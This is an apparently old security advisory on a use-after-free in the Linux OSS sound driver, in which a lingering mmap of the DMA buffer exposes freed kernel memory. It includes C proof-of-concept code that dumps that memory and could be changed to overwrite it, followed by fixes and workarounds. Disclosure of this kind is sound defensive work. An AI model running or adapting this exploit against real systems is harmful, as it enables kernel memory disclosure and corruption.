COMMAND
Linux Sound driver ("OSS free")
SYSTEMS AFFECTED
Linux
PROBLEM
Thomas Sailer found following. Applications can map sound driver
DMA memory into their address space (http://www.4front-tech.com
for API documentation). When the application closes the audio fd,
it still has the mapping to the DMA buffer. It can now interfere
with other apps playing/recording audio. (i.e. the driver should
prevent opening the sound driver again while another app holds
mappings open to it). But there's a more serious problem: even
though the mapping still exists, the reference count of the sound
module has dropped to 0, thus allowing it to be removed either by
explicit rmmod or by kerneld. The sound driver then frees the DMA
buffer memory, but the application still has the mapping to that
memory. But since the memory is now considered free, nothing
prevents it from being reused for an arbitrary kernel data
structure. That way, the application can overwrite kernel memory.
There is no data if commercial OSS is affected too.
Below is a simple test case to illustrate the problem. It doesn't
do any harm in the form appended, but can be easily modified to do
so.
/*
* bug test for OSS
* written by Thomas Sailer, sailer@ife.ee.ethz.ch
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
static int checksound()
{
int fd;
char buf[8192];
char *cp;
int i;
if ((fd = open("/proc/modules", O_RDONLY)) == -1) {
perror("open: /proc/modules");
exit(1);
}
i = read(fd, buf, sizeof(buf)-1);
if (i < 0) {
perror("read");
close(fd);
exit(1);
}
close(fd);
buf[i] = 0;
cp = strtok(buf, "\n");
while (cp) {
if (strncmp(cp, "sound", 5)) {
cp = strtok(NULL, "\n");
continue;
}
return strstr(cp, "(autoclean)") ? 1 : -1;
}
return 0;
}
int main(int argc, char *argv[])
{
int soundfd, i;
audio_buf_info info;
unsigned char *audiobuf;
unsigned int audiosize;
if ((soundfd = open("/dev/dsp", O_RDWR)) == -1) {
perror("open: /dev/dsp");
exit(1);
}
i = checksound();
if (i == -1)
fprintf(stderr, "warning: module sound not autoclean, remove by hand\n");
if (!i) {
fprintf(stderr, "module sound not found\n");
exit(1);
}
/* getting audio info and mmapping audio stuff */
if (ioctl(soundfd, SNDCTL_DSP_GETOSPACE, &info)) {
perror("ioctl: SNDCTL_DSP_GETOSPACE");
exit(1);
}
audiosize = info.fragstotal * info.fragsize;
if ((audiobuf = mmap(NULL, audiosize, PROT_READ, MAP_SHARED, soundfd, 0))
== MAP_FAILED) {
perror("mmap");
exit(1);
}
// memset(audiobuf, 0, audiosize);
close(soundfd);
printf("Sound buffer address %p size %#x\n", audiobuf, audiosize);
printf("The dirty deed is prepared, waiting for sound to unload\n");
while (checksound()) {
sleep(5);
fputc('.', stdout);
fflush(stdout);
}
printf("\nOk, sound unloaded, now make some system activity\n");
sleep(10);
printf("Memory dump:");
for (i = 0; i < audiosize; i++) {
if (!(i & 15))
printf("\n%06x ", i);
printf(" %02x", audiobuf[i]);
}
exit(0);
}
SOLUTION
This has been fixed in Linux Kernel 2.1.89. Workaround is either
not to allow untrusted users access to the sound device (by
setting permission on /etc/dsp* accordingly), or don't demand
load sound by kerneld, that is either compile it statically into
the kernel or load it manually by modprobe.